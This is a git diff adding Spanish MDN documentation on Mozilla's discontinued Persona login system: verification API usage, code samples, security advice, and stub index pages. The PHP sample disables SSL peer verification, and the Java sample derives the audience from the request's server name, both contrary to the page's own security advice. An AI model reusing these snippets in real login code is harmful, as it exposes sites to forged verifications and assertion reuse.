+<h2 id="Paso_4_Comprueba_las_credenciales_de_los_usuarios">Paso 4: Comprueba las credenciales de los usuarios</h2>
+
+<p>En lugar de contraseñas, Persona utiliza "declaraciones de identidad", que son algo así como contraseñas de un solo uso y un solo sitio combinadas con la dirección de correo electrónico del usuario. Cuando un ususario desea iniciar sesión, tu función de retorno <code>onlogin</code> será invocada con una declaración de ese usuario. Antes de que le inicies sesión, debes verificar que la declaración es válida.</p>
+
+<p>Es <em>extremadamente importante</em> que verifiques la declaración en tu servidor, y no en el código JavaScript ejecutándose en el navegador del usuario, debido a que podría ser fácil de falsificar. El ejemplo de arriba envió la declaración al servidor del sitio utilizando la función <code>$.ajax()</code> de jQuery para hacer <code>POST</code> en <code>/api/login</code>.</p>
+
+<p>Una vez que tu servidor tiene la declaración, ¿cómo la verificas? La manera más fácil es utilizando un servicio de ayuda provisto por Mozilla. Simplemente envía una solicitud POST a <code>https://verifier.login.persona.org/verify</code> con dos parámetros:</p>
+
+<ol>
+ <li><code>assertion</code>: La declaración de identidad provista por el usuario.</li>
+ <li><code>audience</code>: El nombre y puerto de tu sitio. Debes establecer rígidamente este valor en tu código de servidor; no lo derives de ningún dato suministrado por el usuario.</li>
+</ol>
+
+<p>Por ejemplo, si eres <code>example.com</code>, puedes utilizar la línea de comandos para probar una declaración con:</p>
+
+<pre class="brush: bash;">$ curl -d "assertion=&lt;ASSERTION&gt;&amp;audience=https://example.com:443" "https://verifier.login.persona.org/verify"
+</pre>
+
+<p>Si es válida, obtendrás una respuesta JSON como la siguiente:</p>
+
+<pre class="brush: js;">{
+  "status": "okay",
+  "email": "bob@eyedee.me",
+  "audience": "https://example.com:443",
+  "expires": 1308859352261,
+  "issuer": "eyedee.me"
+}
+</pre>
+
+<p>Puedes aprender mas acerca del servicio de verificación leyendo L<a href="https://developer.mozilla.org/en-US/docs/BrowserID/Remote_Verification_API">a API del Servicio de Verificación</a>. Un ejemplo la implementación de <code>/api/login</code>, utilizando <a href="http://python.org/">Python</a>, el framework web <a href="http://flask.pocoo.org/">Flask</a>, y la librería <a href="http://python-requests.org">Requests</a> HTTP se vería así:</p>
+
+<pre class="brush: python;">@app.route('/api/login', methods=['POST'])
+def login():
+    # The request has to have an assertion for us to verify
+    if 'assertion' not in request.form:
+        abort(400)
+
+    # Send the assertion to Mozilla's verifier service.
+    data = {'assertion': request.form['assertion'], 'audience': 'https://example.com:443'}
+    resp = requests.post('https://verifier.login.persona.org/verify', data=data)
+
+    # Did the verifier respond?
+    if resp.ok:
+        # Parse the response
+        verification_data = json.loads(resp.content)
+
+        # Check if the assertion was valid
+        if verification_data['status'] == 'okay':
+            # Log the user in by setting a secure session cookie
+            session.update({'email': verification_data['email']})
+            return resp.content
+
+    # Oops, something failed. Abort.
+    abort(500)
+</pre>
+
+<p>El manejo de sesiones es probablemente muy similar a tu sistema actual de login. El primer gran cambio está en la verificación de la identidad del usuario revisando una aserción en vez de revisar un password. El otro gran cambio es asegurarse que la dirección de email del usuario está disponible para usarse en el parametro <code>loggedInEmail para </code>{{ domxref("navigator.id.watch()") }}.</p>
+
+<p>El Logout es simple: Solo necesitas remover la cookie de la sesión del usuario.</p>
+
+<h2 id="Paso_5_Revisa_las_mejores_prácticas">Paso 5: Revisa las mejores prácticas</h2>
+
+<p>Una vez que todo funciona y has logrado iniciar y cerrar sesion satisfactoriamente en tu sitio, debes de tomarte un momento para revisar las <a href="https://developer.mozilla.org/docs/BrowserID/Security_Considerations">mejores prácticas</a> para usar Persona de forma segura.</p>
+
+<p>Si estás  haciendo un sitio listo para producción, tal vez quieras hacer pruebas de integración que simulan un usuario entrando y saliendo de tu sitio utilizando BrowserID. Para facilitar esta acción en Selenium, considera la librería <a href="https://github.com/mozilla/bidpom">bidpom</a>. Los sitios <a href="https://mockmyid.com/" title="https://mockmyid.com/">mockmyid.com</a> y <a href="http://personatestuser.org" title="http://personatestuser.org">personatestuser.org</a> también son útiles.</p>
+
+<p>Por último, no olvides enrolarte en la lista de correos de <a href="https://mail.mozilla.org/listinfo/persona-notices">Noticias de Persona</a> para que seas notificado de cualquier problema de seguridad o cambios de incopatibilidad con versiones anteriores de la API de persona. La lista es extremadamente de poco tráfico: es solo utilizada para anunciar cambios que pueden impactar en tu sitio.</p>
diff --git a/files/es/mozilla/persona/remote_verification_api/index.html b/files/es/mozilla/persona/remote_verification_api/index.html
new file mode 100644
index 0000000000..e2a00c4856
--- /dev/null
+++ b/files/es/mozilla/persona/remote_verification_api/index.html
@@ -0,0 +1,199 @@
+---
+title: Remote Verification API
+slug: Mozilla/Persona/Remote_Verification_API
+tags:
+  - Ochoa
+translation_of: Archive/Mozilla/Persona/Remote_Verification_API
+---
+<p></p><div class="warning">  <p>On November 30th, 2016, Mozilla shut down the persona.org services. Persona.org and related domains will soon be taken offline.</p>  <p>For more information, see this guide to migrating your site away from Persona:</p>  <p><a href="https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers">https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers</a></p></div><p></p>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>When a user tries to log into a website, their browser generates a data structure called an <em>assertion</em>, which is essentially a cryptographically signed email address. The browser sends this assertion to the website, which must verify that the assertion is valid before logging the user in.</p>
+
+<p>Assertions can be verified locally, or with an API hosted at <span class="link-https"><code>https://verifier.login.persona.org/verify</code></span>. This page describes how to use the API.</p>
+
+<h2 id="Methods" name="Methods">Method</h2>
+
+<p>HTTP POST request to <code>https://verifier.login.persona.org/verify</code>.</p>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>assertion</code></dt>
+ <dd>The assertion supplied by the user. Available as the first parameter passed to the <code>onlogin</code> function in <a href="/es/docs/Web/API/Navigator/id/watch" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>navigator.id.watch()</code></a>.</dd>
+ <dt><code>audience</code></dt>
+ <dd>The protocol, domain name, and port of your site. For example, "<code>https://example.com:443</code>".</dd>
+</dl>
+
+<h3 id="Return_values" name="Return_values">Return values</h3>
+
+<p>The call returns a JSON structure containing a <code>status</code> element, which may be either "okay" or "failure". Depending on the value of <code>status</code>, the structure contains additional elements listed below.</p>
+
+<h4 id="okay" name="okay">"okay"</h4>
+
+<p>The assertion is valid.</p>
+
+<p>In this case the JSON structure contains the following additional elements:</p>
+
+<table class="standard-table" style="width: 80%;">
+ <tbody>
+  <tr>
+   <td>"<code>email</code>"</td>
+   <td>The address contained in the assertion, for the intended person being logged in.</td>
+  </tr>
+  <tr>
+   <td>"<code>audience</code>"</td>
+   <td>The audience value contained in the assertion. Expected to be your own website URL.</td>
+  </tr>
+  <tr>
+   <td>"<code>expires</code>"</td>
+   <td>The date the assertion expires, expressed as the <a href="/en/JavaScript/Reference/Global_Objects/Date/valueOf" title="en/JavaScript/Reference/Global_Objects/Date/valueOf">primitive value of a Date object</a>: that is, the number of milliseconds since midnight 01 January, 1970 UTC.</td>
+  </tr>
+  <tr>
+   <td>"<code>issuer</code>"</td>
+   <td>The hostname of the identity provider that issued the assertion.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="failure" name="failure">"failure"</h4>
+
+<p>The assertion is invalid. In this case, the JSON structure contains one additional element:</p>
+
+<table class="compact-table">
+ <tbody>
+  <tr>
+   <td><code>"reason"</code></td>
+   <td>A string explaining why verification failed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<h3 id="node.js" name="node.js">node.js</h3>
+
+<p>This example uses a node.js server using express.js</p>
+
+<pre class="brush: js">var express = require("express"),
+    app = express.createServer(),
+    https = require("https"),
+    querystring = require("querystring");
+/* ... */
+
+// The audience must match what your browser's address bar shows,
+// including protocol, hostname, and port
+var audience = "http://localhost:8888";
+
+app.post("/authenticate", function(req, res) {
+  var vreq = https.request({
+    host: "verifier.login.persona.org",
+    path: "/verify",
+    method: "POST"
+  }, function(vres) {
+    var body = "";
+    vres.on('data', function(chunk) { body+=chunk; } )
+        .on('end', function() {
+          try {
+            var verifierResp = JSON.parse(body);
+            var valid = verifierResp &amp;&amp; verifierResp.status === "okay";
+            var email = valid ? verifierResp.email : null;
+            req.session.email = email;
+            if (valid) {
+              console.log("assertion verified successfully for email:", email);
+              res.json(email);
+            } else {
+              console.log("failed to verify assertion:", verifierResp.reason);
+              res.send(verifierResp.reason, 403);
+            }
+          } catch(e) {
+            console.log("non-JSON response from verifier");
+            // bogus response from verifier!
+            res.send("bogus response from verifier!", 403);
+
+          }
+        });
+  });
+
+  vreq.setHeader('Content-Type', 'application/x-www-form-urlencoded');
+
+  var data = querystring.stringify({
+    assertion: req.body.assertion,
+    audience: audience
+  });
+
+  vreq.setHeader('Content-Length', data.length);
+  vreq.write(data);
+  vreq.end();
+
+  console.log("verifying assertion!");
+});
+
+</pre>
+
+<p>via <a class="link-https" href="https://github.com/lloyd/myfavoritebeer.org/blob/06255b960e1f9078bc935c1c7af0662f33c88818/server/main.js#L112">Lloyd Hilaiel</a></p>
+
+<h3 id="PHP" name="PHP">PHP</h3>
+
+<pre class="brush: php">$url = 'https://verifier.login.persona.org/verify';
+$assert = filter_input(
+    INPUT_POST,
+    'assertion',
+    FILTER_UNSAFE_RAW,
+    FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH
+);
+//Use the $_POST superglobal array for PHP &lt; 5.2 and write your own filter
+$params = 'assertion=' . urlencode($assert) . '&amp;audience=' .
+           urlencode('http://localhost:8888');
+$ch = curl_init();
+$options = array(
+    CURLOPT_URL =&gt; $url,
+    CURLOPT_RETURNTRANSFER =&gt; TRUE,
+    CURLOPT_POST =&gt; 2,
+    //CURLOPT_SSL_VERIFYPEER =&gt; true,   //This currently blocks connection to 'https://verifier.login.persona.org/verify'
+    CURLOPT_SSL_VERIFYPEER =&gt; 0,
+
+    CURLOPT_SSL_VERIFYHOST =&gt; 2,
+    CURLOPT_POSTFIELDS =&gt; $params
+);
+curl_setopt_array($ch, $options);
+$result = curl_exec($ch);
+curl_close($ch);
+echo $result;</pre>
+
+<p>Via <a class="link-https" href="https://github.com/codepo8/BrowserID-login-with-PHP/blob/184fdb74c8a554461c262875859968154d09288e/verify.php">Christian Heilmann</a></p>
+
+<h3 id="Java" name="Java" style="line-height: 20px;">Java</h3>
+
+<pre class="brush: java">@Override
+protected void doPost(final HttpServletRequest req,
+   final HttpServletResponse resp) throws ServletException,
+   IOException {
+
+   final String audience = req.getServerName();
+   final String assertion = req.getParameter("assertion");
+   final Verifier verifier = new Verifier();
+   final BrowserIDResponse personaResponse = verifier.verify(assertion,audience);
+   final Status status = personaResponse.getStatus();
+
+   if (status == Status.OK) {
+     /* Authentication with Persona was successful */
+     String email = personaResponse.getEmail();
+     log.info("{} has sucessfully signed in", email);
+     HttpSession session = req.getSession(true);
+     session.setAttribute("email", email);
+
+   } else {
+     /* Authentication with Persona failed */
+     log.info("Sign in failed...");
+
+   }
+}
+</pre>
+
+<p>Via <a class="link-https" href="https://github.com/user454322/browserid-verifier">Javier</a></p>
+
+<p> </p>
+
+<p>Note: If you send the assertion and audience parameters as a JSON-object, they <strong>must not</strong> be URL-encoded. If they are sent as regular HTTP POST parameters, as in the example above, they <strong>must</strong> be URL-encoded.</p>
diff --git a/files/es/mozilla/persona/security_considerations/index.html b/files/es/mozilla/persona/security_considerations/index.html
new file mode 100644
index 0000000000..023bd98164
--- /dev/null
+++ b/files/es/mozilla/persona/security_considerations/index.html
@@ -0,0 +1,59 @@
+---
+title: Consideraciones de Seguridad
+slug: Mozilla/Persona/Security_Considerations
+tags:
+  - Persona
+translation_of: Archive/Mozilla/Persona/Security_Considerations
+---
+<p>Cuando agregas soporte para Persona en tu sitio web, ella toma tantas medidas de seguridad como puede. Sin embargo, algunas medidas de seguridad solo pueden ser manejadas por tu sitio web. Estas son listadas a continuación.</p>
+<h2 id="Essential_practices" name="Essential_practices">Prácticas Esenciales</h2>
+<h3 id="Verify_assertions_on_your_server" name="Verify_assertions_on_your_server">Verificar la confirmación en tu servidor</h3>
+<p>Cuando utilizas Persona, las declaraciones de identidad son pasadas dentro de la función <code>onlogin</code> a través de</p>
+<p>{{ domxref("navigator.id.watch()") }}</p>
+<p><em>Siempre</em> debes pasar la <span class="short_text" id="result_box" lang="es"><span class="hps">aserción</span></span> a tu servidor para verificarla, y solo tu servidor debe decidir si autoriza al usuario permisos adicionales en base al resultado de la verificación:</p>
+<pre class="brush:js;">// Inside navigator.id.watch({ ...
+onlogin: function(assertion) {
+  // A user wants to log in! Here you need to:
+  // 1. Send the assertion to your backend for verification and to create a session.
+  // 2. Update your UI.
+},
+</pre>
+<p>Si trata de verificar la <span class="short_text" id="result_box" lang="es"><span class="hps">aserción</span></span> usando JavaScript ejecutándose en el navegador del usuario, algún usuario malicioso podría suplantar por otro usuario legítimo de su sitio inyectando código bloqueando tu código JavaScript. Esto es posible debido a que no se tiene control del navegador del usuario, donde se ejecuta el código.</p>
+<p>Como mencionamos lineas arriba, <em>siempre</em> debe pasar la <span class="short_text" id="result_box" lang="es"><span class="hps">aserción</span></span> a su servidor para la verificación. Incluso si está usando la API de verificación remota.</p>
+<h3 id="Explicitly_specify_the_audience_parameter" name="Explicitly_specify_the_audience_parameter">Especifique explícitamente el parámetro <code>audience</code></h3>
+<p>Para verificar la <span class="short_text" id="result_box" lang="es"><span class="hps">aserción</span></span>, debe realizar un pedido <code>POST</code> a<code> https://verifier.login.persona.org/verify</code>. El pedido incluye el parámetro llamado <code>audience</code>:</p>
+<pre><code>assertion=&lt;ASSERTION&gt;&amp;audience=https://mysite.com:443"</code></pre>
+<p>El parámetro <code>audience</code> es requerido. Siempre debe especificar explícitamente audience en el código, o en la configuración del código. Específicamente:</p>
+<ul>
+  <li>No confie en la cabecera o header Host enviado por el navegador del usuario.</li>
+  <li>No confíe en el parámetro explicito enviado por el navegador del usuario, pero generado usando JavaScript, e.g. <code>document.location</code>.</li>
+</ul>
+<p>Si dejas que el navegador del usuario te envíe el parámetro <code>audience</code>, esto deja la posibilidad de que un sitio web malicioso pueda reusar las declaraciones de su sitio web para autenticarse en tu sitio web.</p>
+<h3 id="Verify_SSL_certificates" name="Verify_SSL_certificates">Verifica los certificados SSL</h3>
+<p>Para verificar una <span class="short_text" id="result_box" lang="es"><span class="hps">aserción</span></span>, debes realizar un petición POST a <code>https://verifier.login.persona.org/verify</code>. Debes asegurarte que tu petición HTTPS verifique el certificado enviado desde el servidor contra un certificado raíz confiable. Si no lo haces, un atacante podría presentarse como <code>verifer.login.persona.org</code> y realizar verificaciones falsas.</p>
+<p>Revisa que la libreria que usas para hacer el pedido verifique los certificados correctamente, y que has iniciado esto con un certificado de administrador apropiado.</p>
+<p>Por ejemplo, el <a class="external" href="http://docs.python.org/release/2.7.3/library/urllib2.html#urllib2.urlopen" title="http://docs.python.org/release/2.7.3/library/urllib2.html#urllib2.urlopen">modulo urllib2</a> estándar de Python 2.7 no valida certificados del servidor. En lugar de ello, recomendamos utilizar los módulos "<a class="external" href="http://pypi.python.org/pypi/requests">requests</a>" o "<a class="external" href="http://pypi.python.org/pypi/urllib3" title="http://pypi.python.org/pypi/urllib3">urllib3</a>" en Python 2.x, o la clase estándar <code>http.client.HTTPSConnection</code> en Python 3.x. Para Perl, asegúrate que usas al menos la versión 6.0 de <code>libwww-perl</code>. Dependiendo del lenguaje, librería, y sistema operativo que estés usando, vas a necesitar utilizar algún CA (Certificate Authority) confiable o el CA simple usado por <code>verifier.login.persona.org</code>.</p>
+<h3 id="Implement_CSRF_protection" name="Implement_CSRF_protection">Implementar protección CSRF</h3>
+<p>En un ataque de inicio de sesión por CSRF (Cross-Site Request Forgery), el atacante utiliza CSRF para iniciar la sesión del usuario dentro del sitio web usando las credenciales del atacante.</p>
+<p>Por ejemplo: un usuario visita una web maliciosa que contiene un elemento <code>form</code>. El atributo <code>action</code> del <code>form</code> está configurado para hacer una petición HTTP POST a <a class="external" href="http://www.google.com/login" title="http://www.google.com/login">http://www.google.com/login</a>, dándole el username y password del atacante. Cuando el usuario envía el <code>form</code>, el pedido es enviado a Google, se inicia sesión y el servidor de Google configura una cookie en el navegador del usuario. Ahora el usuario sin saberlo ha iniciado sesión con la cuenta Google del atacante.</p>
+<p>El ataque puede ser usado para reunir información sensible del usuario. Por ejemplo, <a class="link-https" href="https://www.google.com/history/">Web History</a> de Google tiene la característica de registrar todos los términos de búsqueda del usuario. Si el usuario inicia sesión dentro de la cuenta Google del atacante y el atacante tiene la característica Web History activada, el usuario le estará enviando toda su información al atacante.</p>
+<p>Los ataques de inicio de sesión CSRF, y defensas potenciales contra éstos son documentados con mayor detalle en <a class="external" href="http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf">Robust Defenses for Cross-Site Request Forgery</a> (PDF). Estos ataques no son específicos de Persona: la mayoría de mecanismos de inicio de sesión son potencialmente vulnerables a ellos.</p>
+<p>Existen una variedad de técnicas, las cuales pueden ser usadas para proteger un sitio de ataques de inicio de sesión CSRF, las cuales son documentadas con mayor detalle en el estudio antes mencionado.</p>
+<p>Una propuesta es crear un identificador secreto en el servidor, compartido con el navegador, y requerir al navegador que lo proporcione cuando realice un pedido de inicio de sesión. Por ejemplo:</p>
+<ol>
+  <li>Tan pronto como el usuario visite su sitio, antes de intentar iniciar sesión cree una sesión para él en el servidor. Almacene el ID de la sesión en una cookie del navegador.</li>
+  <li>En el servidor, genere un texto aleatorio de al menos 10 caracteres alfanuméricos. un UUID generado aleatoriamente es una buena opción. Esto es un token CSRF. Almacene esto en la sesión.</li>
+  <li>Envie el CSRF token al navegador a través de JavaScript embebido o HTML como una variable oculta del formulario.</li>
+  <li>Asegurese que el envio AJAX o la petición POST del formulario incluya el token CSRF.</li>
+  <li>En el lado del servidor, antes de aceptar la <span class="short_text" id="result_box" lang="es"><span class="hps">aserción</span></span>, revise que el token CSRF enviado concuerde con el almacenado en la sesión.</li>
+</ol>
+<h2 id="Enhancements" name="Enhancements">Mejoras</h2>
+<h3 id="Content_Security_Policy_(CSP)" name="Content_Security_Policy_(CSP)">Politicas de seguridad del contenido (Content Security Policy o CSP)</h3>
+<p><a href="/en-US/docs/Security/CSP" title="Security/CSP">Content Security Policy</a> (CSP) es una capa extra de seguridad que ayuda a detectar y mitigar ciertos tipos de ataques, incluyendo Cross Site Scripting (XSS) y ataques de inyección de datos. Estos ataques son usados para todo desde robo de datos a desconfiguración del sitio o distribución de malware.</p>
+<p>SI utilizas CSP en tu siitio, es posible que necesites modificar tu politica para permitir Persona. Dependiendo de tu política, puedes necesitar:</p>
+<ul>
+  <li>Eliminar inline <code>javascript:</code> URIs y reemplazarlos con código cargado desde un archivo script adicional. El archivo puede ver elementos basándose en su ID, y luego atacar al elemento configurando {{ domxref("element.onclick", "onclick") }} o llamando a {{ domxref("element.addEventListener()", "addEventListener()") }}.</li>
+  <li>Permitir <code>https://login.persona.org</code> como <code>script-src</code> y <code>frame-src</code> para que el archivo pueda cargar el archivo remoto  <code>include.js</code>  y ese archivo pueda comunicarse con la llamada a la implementación de Persona.</li>
+</ul>
+<p>Un ejemplo de la configuración de Apache puede incluir:</p>
+<pre><span class="diff-content"><span class="idiff">Header set X-Content-Security-Policy: "default-src 'self'; frame-src 'self' https://login.persona.org ; script-src 'self' https://login.persona.org"</span></span></pre>
diff --git a/files/es/mozilla/persona/why_persona/index.html b/files/es/mozilla/persona/why_persona/index.html
new file mode 100644
index 0000000000..48ce47f155
--- /dev/null
+++ b/files/es/mozilla/persona/why_persona/index.html
@@ -0,0 +1,30 @@
+---
+title: ¿Por qué Mozilla Persona?
+slug: Mozilla/Persona/Why_Persona
+translation_of: Archive/Mozilla/Persona/Why_Persona
+---
+<p style="">El sistema de nombres de  usuarios y contraseñas que prevalece es insostenible: los usuarios están obligados a crear y recordar una nueva, y compleja contraseña para cada sitio y servicio que utilizan, y cada sitio tiene que almacenar dichas contraseñas de manera segura. Sin embargo, brechas recientes demuestran que inclusive las compañías más prominentes tienen fallos de seguridad al almacenar las contraseñas, lo cual expone la información del usuario.</p>
+<p style="">"Persona" es un sistema de identificación abierto, distribuído, a escala web que reemplaza las contraseñas para cada sitio. Aborda las deficiencias relacionadas a la usabilidad y privacidad de sistemas tales como OpenID sin recurrir a una infraestructura centralizada como Facebook connect.</p>
+<h2 id="Persona_se_deshace_de_las_contraseñas_para_cada_sitio">Persona se deshace de las contraseñas para cada sitio</h2>
+<p>En lugar de contraseñas para cada sitio, Persona permite que los usuarios se autentiquen en los diferentes sitios con tan sólo dos clics después de completar un proceso sencillo, que se realiza una sola vez para cada una de sus identidades. Esto es seguro, y está respaldado por un sistema de cifrado de clave pública. En lugar de una contraseña, el navegador web del usuario genera una confirmación de identidad cifrada que expira después de unos pocos minutos y es únicamente válido para un solo sitio. Debido a que no existen contraseñas específicas por sitio, los sitios web que utilizan Persona no tienen que preocuparse sobre el almacenamiento seguro o de pérdidas de las contraseñas en su base de datos.</p>
+<p>Este proceso de registro rápido también reduce la desavenencia a los usuarios cada vez que visiten sitios nuevos.</p>
+<h2 id="Las_identidades_Persona_son_los_correos_electrónicos">Las identidades Persona son los correos electrónicos</h2>
+<p>Lejos de utilizar nombres de usuario de manera libre, Persona utiliza los correos electrónicos como identidades. Esto ofrece muchos beneficios tanto para los usuarios como para los desarrolladores:</p>
+<h3 id="El_usuario_se_beneficia_al_utilizar_direcciones_de_correo_electrónico">El usuario se beneficia al utilizar direcciones de correo electrónico</h3>
+<ul>
+  <li>Los usuarios conocen de antemano sus correos electrónicos, a diferencia de aprender una nueva y potencialmente confusa dirección URL con OpenID.</li>
+  <li>Las direcciones de correo electrónico capturan de manera elegante la idea de <code>alguien@algun-contexto</code>, haciendo fácil para los usuarios el poder mantener sus identidades <code>@trabajo</code>, <code>@hogar</code>, o <code>@escuela</code> separadas. Esto se diferencia de la tendencia de consolidar las identidades a través de un nombre verdadero, políticas que limitan a una cuenta única en las redes sociales tales como Facebook y Google+.</li>
+  <li>El correo electrónico puede tener su propio hosting o delegado a otros proveedores, dándole control a los usuarios sobre su identidad.</li>
+</ul>
+<h3 id="Los_desarrolladores_se_benefician_al_utilizar_direcciones_de_correo_electrónico">Los desarrolladores se benefician al utilizar direcciones de correo electrónico</h3>
+<ul>
+  <li>Las direcciones de correo electrónico ofrecen a los desarrolladores un medio directo para contactar a sus usuarios.</li>
+  <li>La mayoría de los sitios requieren de una dirección de correo electrónico para registrar sus usuarios, Persona ofrece esta información de manera automática cuando un usuario se registra, eliminando la necesidad de un formulario adicional para esta información después del registro.</li>
+  <li>Muchos sistemas de acceso de antemano utilizan la dirección de correo electrónico como únicos. Esto significa que Persona se adapta perfectamente, y puede ser integrado junto a sistemas de acceso existentes.</li>
+</ul>
+<p>Sin mencionar que los correos electrónicos ya son sistemas distribuídos con billones de cuentas a través de diferentes proveedores.</p>
+<h2 id="¿Qué_diferencia_a_Persona_de_otros_proveedores_de_acceso_sencillo" style="">¿Qué diferencia a Persona de otros proveedores de acceso sencillo?</h2>
+<p>"Persona" es seguro, y fácil. Protege la privacidad del usuario, control del usuario, y elección del usuario de formas que los otros proveedores no hacen o no pueden:</p>
+<p>Muchas redes sociales tales como Facebook y Google+ obligan a que los usuarios utilicen sus nombres verdaderos, y limitan a los usuarios a una sola cuenta. Al estar construida encima de direcciones de correo electrónico, Persona permite que los usuarios mantengas sus identidades separadas, ya sea de trabajo, hogar, escuela u otras.</p>
+<p>"Persona" es abierta y distribuída: cualquiera con un correo electrónico puede registrarse en sitios que utilicen Persona. Y no es sólo eso, cualquiera puede alojar su propio proveedor de identidad o delegar a otras autoridades, al igual que con el correo electrónico. Esto difiere a los servicios de acceso que ofrecen los sitios sociales, los cuales requieren una cuenta en un servicio único y centralizado.</p>
+<p>"Persona" también toma un alcance novedoso para proteger la privacidad del usuario al colocar el navegador web del usuario en medio del proceso de autenticación: el navegador obtiene las credenciales del proveedor de correo electrónico que utiliza el usuario, y luego presenta esas credenciales al sitio web. El proveedor de correo electrónico no puede rastrear al usuario, pero los sitios web pueden seguir confiando en la identidad del usuario al verificar dichas credenciales de manera cifrada. La mayoría de otros sistemas, inclusive aquellas que son distribuídas como el OpenID, requiere que los sitios "llamen a casa" antes de permitir que un usuario ingrese.</p>
diff --git a/files/es/mozilla/preferences/index.html b/files/es/mozilla/preferences/index.html
new file mode 100644
index 0000000000..1169ecabf1
--- /dev/null
+++ b/files/es/mozilla/preferences/index.html
@@ -0,0 +1,48 @@
+---
+title: Preferences
+slug: Mozilla/Preferences
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Preferences
+---
+<p>The preference system makes it possible to store data for Mozilla applications using a key/value pairing system. These articles provide information about how to use the preference system.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+        <dl>
+          <dt><a href="/en-US/docs/Preferences/Preferences_system" title="Preferences/Preferences system">Preferences system</a></dt>
+          <dd>An introduction to using the preference system in Mozilla.</dd>
+          <dt><a href="/en-US/docs/XUL_School/Handling_Preferences" title="XUL School/Handling Preferences">XUL School: Handling preferences</a></dt>
+          <dd>The XUL School tutorial chapter on preferences.</dd>
+          <dt><a href="/en-US/docs/Preferences/Preference_reference" title="Preferences/Preference_reference">Mozilla preference reference</a></dt>
+          <dd>A reference guide to all Mozilla preferences; currently a work in progress.</dd>
+          <dt><a href="/en-US/docs/Preferences/A_brief_guide_to_Mozilla_preferences" title="Preferences/A brief guide to Mozilla preferences">A brief guide to Mozilla preferences</a></dt>
+          <dd>An introductory guide to where preferences are stored and other useful information about the core preference system.</dd>
+          <dt><a href="/en-US/docs/Preferences/Using_preferences_from_application_code" title="Preferences/Using preferences from application code">Using preferences from application code</a> {{gecko_minversion_inline("6.0")}}</dt>
+          <dd>Firefox 6 introduced static functions for accessing preferences efficiently from within application code. This API is not available for add-ons, but if you're working on a Gecko application, this API is the preferred way to access preferences.</dd>
+          <dt><a href="/en-US/docs/Preferences/Mozilla_networking_preferences" title="Preferences/Mozilla networking preferences">Mozilla networking preferences</a></dt>
+          <dd>A guide to key networking-related preferences.</dd>
+          <dt><a href="/en-US/docs/Preferences/Mozilla_preferences_for_uber-geeks" title="Preferences/Mozilla preferences for uber-geeks">Mozilla preferences for uber-geeks</a></dt>
+          <dd>A guide to preferences that only truly elite geeks should play with.</dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/Preferences" title="tag/Preferences">View all pages tagged with "Preferences"...</a></span></p>
+      </td>
+      <td>
+        <h2 class="Community" id="Examples" name="Examples">Examples</h2>
+        <dl>
+          <dt><a href="/en-US/docs/Code_snippets/Preferences" title="Code snippets/Preferences">Code snippets</a></dt>
+          <dd>Preference-related code snippets.</dd>
+          <dt><a href="/en-US/docs/Adding_preferences_to_an_extension" title="Adding preferences to an extension">Adding preferences to an extension</a></dt>
+          <dd>How to add preferences to an existing extension.</dd>
+        </dl>
+        <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+        <ul>
+          <li><a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>, <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a>, <a href="/en-US/docs/Extensions" title="Extensions">Extensions</a>, <a href="/en-US/docs/Developer_Guide" title="Developing_Mozilla">Developing Mozilla</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
diff --git a/files/es/mozilla/projects/index.html b/files/es/mozilla/projects/index.html
new file mode 100644
index 0000000000..6291137b31
--- /dev/null
+++ b/files/es/mozilla/projects/index.html
@@ -0,0 +1,14 @@
+---
+title: Projects
+slug: Mozilla/Projects
+tags:
+  - Mozilla
+  - NeedsContent
+  - NeedsTranslation
+  - Projects
+  - TopicStub
+translation_of: Mozilla/Projects
+---
+<p>{{ draft() }}</p>
+<p>This page needs to become a pretty index to Mozilla projects whose documentation is located under it.</p>
+<p>{{ LandingPageListSubpages() }}</p>
diff --git a/files/es/mozilla/projects/nspr/reference/index.html b/files/es/mozilla/projects/nspr/reference/index.html
new file mode 100644
index 0000000000..d53b3eed23
--- /dev/null
+++ b/files/es/mozilla/projects/nspr/reference/index.html
@@ -0,0 +1,770 @@
+---
+title: NSPR API Reference
+slug: Mozilla/Projects/NSPR/Reference
+tags:
+  - NSPR
+  - NSPR_API_Reference
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Projects/NSPR/Reference
+---
+<section id="Quick_Links">
+<ol>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR">NSPR</a></li>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR/About_NSPR">About NSPR</a></li>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference">NSPR API Reference</a></li>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR/NSPR_build_instructions">NSPR Build Instruction</a></li>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR/Release_process">NSPR Release Process</a></li>
+  <li class="toggle">
+    <details>
+      <summary>Introduction to NSPR</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Naming_Conventions">NSPR Naming Conventions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Threads">NSPR Threads</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Thread_Schedoling">Thread Scheduling</a>
+              <ol>
